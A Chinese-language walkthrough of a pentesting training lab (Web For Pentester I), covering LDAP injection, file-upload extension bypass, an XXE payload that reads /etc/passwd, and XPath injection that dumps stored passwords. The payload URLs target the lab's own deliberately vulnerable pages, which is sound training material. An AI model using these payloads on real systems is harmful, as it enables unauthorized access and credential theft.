web_for_pentester最后的LDAP、文件上传、xml攻略

9 LDAP

9.1

url为http://192.168.1.109/ldap/example1.php?username=hacker&password=hacker,显示NOT AUTHENTICATED,未认证,即输入的username和password不正确。 以下为看攻略

http://192.168.1.109/ldap/example1.php直接输入的话,就认证成功了,显示AUTHENTICATED

此漏洞俗称LDAP服务器匿名登录

9.2

url为http://192.168.1.109/ldap/example2.php?name=hacker&password=hacker,显示AUTHENTICATED as hacker,

如果只访问页面,http://192.168.1.109/ldap/example2.php,显示未认证。

Notice: Undefined index: password in /var/www/ldap/example2.php on line 9 Notice: Undefined index: name in /var/www/ldap/example2.php on line 10 UNAUTHENTICATED 以下看攻略

LDAP的认证字符串为(&(cn=[input1])userpass=hash[inpu2])

http://192.168.1.109/ldap/example2.php?name=h*&password=hacker 认证成功,支持用通配符*

http://192.168.1.109/ldap/example2.php?name=a*)(cn=*))%00&password= 以admin用户认证成功。而去不用管pass是啥了。

nmap =p 389 --script ldap-search 192.168.1.109,可查看ldap服务器都哪些用户。

10 文件上传

10.1

url为http://192.168.1.109/upload/example1.php,显示可上传。

直接上传php。上传成功,可直接访问,文件名都没改。http://192.168.1.109/upload/images/phpinfo.php

10.2

url为http://192.168.1.109/upload/example2.php,显示可上传

上传php后显示为NO PHP。说明服务端有判断。可能判断文件扩展名,可能判断文件内容。

首先把一个php文件改名为jpg就上传成功了。说明判断的是扩展名。看怎么绕过扩展名,或利用解析漏洞啦。

http://192.168.1.109/upload/images/phpinfo.jpg.php3换成非php的扩展名,或者在php.basdf后面加入apache不认识的,也可以解析成php。

11 xml攻击

11.1

url为http://192.168.1.109/xml/example1.php?xml=hacker ,显示为hello hacker。可以考虑类似xxe外部实体引用。

http://192.168.1.109/xml/example1.php?xml=%3C%21DOCTYPE%20test%20%5B%3C%21ENTITY%20xxe%20SYSTEM%20%22file%3A%2f%2f%2fetc%2fpasswd%22%3E%5D%3E%3Ctest%3E%26xxe%3B%3C%2ftest%3E%0A

其原文为

http://192.168.1.109/xml/example1.php?xml=&xxe; 但由于是get,有些内容必须通过urlencod才能传递。

11.2

url为http://192.168.1.109/xml/example2.php?name=hacker,显示hellp hacker,

当把hacker换成其它如hacker1,hack等,则无内容,

当name=hacker' ,报错Warning: SimpleXMLElement::xpath(): Invalid predicate in /var/www/xml/example2.php on line 7 Warning: SimpleXMLElement::xpath(): xmlXPathEval: evaluation failed in /var/www/xml/example2.php on line 7 Warning: Variable passed to each() is not an array or object in /var/www/xml/example2.php on line 8

http://192.168.1.109/xml/example2.php?name=hacker' or '1'='1 显示Hello hackerHello admin

http://192.168.1.109/xml/example2.php?name=hacker'or 1=1]%00 同上类似。

http://192.168.1.109/xml/example2.php?name=hacker'or 1=1]/parent::*/child::node()%00 显示服务端的整个xml字符串。

http://192.168.1.109/xml/example2.php?name=hacker'or 1=1]/parent::*/password%00 显示所有密码。

这些都是xml,xpath的语法。

至此,Web For Pentest I全部完成。

  • 发表于:
  • 原文链接:http://kuaibao.qq.com/s/20180207G0GOHM00?refer=cp_1026
  • 腾讯「云+社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。

扫码关注云+社区

领取腾讯云代金券